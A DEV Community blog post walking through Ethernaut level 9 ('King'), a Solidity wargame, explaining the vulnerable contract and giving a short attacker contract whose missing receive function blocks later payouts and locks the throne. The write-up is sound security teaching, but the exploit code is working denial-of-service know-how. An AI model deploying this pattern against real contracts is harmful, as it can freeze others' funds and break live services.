DEV Community

hamzairshad02
hamzairshad02

Posted on

Ethernaut Level 9 Walkthrough - King

The instructions of this level explains it pretty much. You have to become the King of this contract by sending the most amount and remain King for future as well so nobody can dethrone you. Let’s start with understanding the contract first.

The contract starts with three variables. “king” as address, “prize” as uint, and “owner” as address.

address king;
uint public prize;
address public owner;
Enter fullscreen mode Exit fullscreen mode

Then comes the constructor which is payable (meaning it can receive ether) and sets the contract initializer as ‘owner’ and ‘king’ and sets its sent value as ‘prize’.

constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }
Enter fullscreen mode Exit fullscreen mode

Next is a receive() function which is also payable and external (meaning it can be only be called by another contract and not itself). In this function, it requires the ether sender to have more or equal the value of “prize” OR it should be the “owner” of the contract. It then proceeds to use the transfer() method to transfer all the ether to the current dethroned “king” then set the ether sender as the new “king” and its sent ether as the new benchmark “prize”.

receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }
Enter fullscreen mode Exit fullscreen mode

Finally there exists a _king() function which returns the address of the current throne “king”.

function _king() public view returns (address) {
    return king;
  }
Enter fullscreen mode Exit fullscreen mode

We will tackle this problem by creating a contract of our own which doesn’t have any function to receive ether.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract WatchTheThrone {
    constructor() payable {
        address king = 0xd604cf3775FcCc4E9A06416C354A55C7f5C6c050;

        (bool sent, ) = king.call{value: msg.value}("");
        require(sent, "Failed to send Ether");        
    }
}
Enter fullscreen mode Exit fullscreen mode

Here I created a contract by the name of one of the most luxurious rap album of all time forged by Ye & Jay-Z. This contract starts with a constructor which also happens to be payable so it can send ether to a contract. Inside the constructor, there is an address of king which is your Ethernaut Level Instance Address, next is a call() method being used with the same king having the value of ether that is being sent and is checked by a boolean. The require() method beneath it just throws an error in case the bool gives false and the ether is failed to be sent. We do not have a function in our contract which can receive ether so in this way we send the ether become the king and then nobody can dethrone us, all they can do is Watch The Throne.

Set the Deployment configuration as follows and deploy the contract.

Image description

After deploying the contract check the king of the contract and it will be yours by the following command

await contract._king()
Enter fullscreen mode Exit fullscreen mode

Now just “Submit Instance” and then Ethernaut will attempt to become the new King but will eventually fail and we win!

Top comments (0)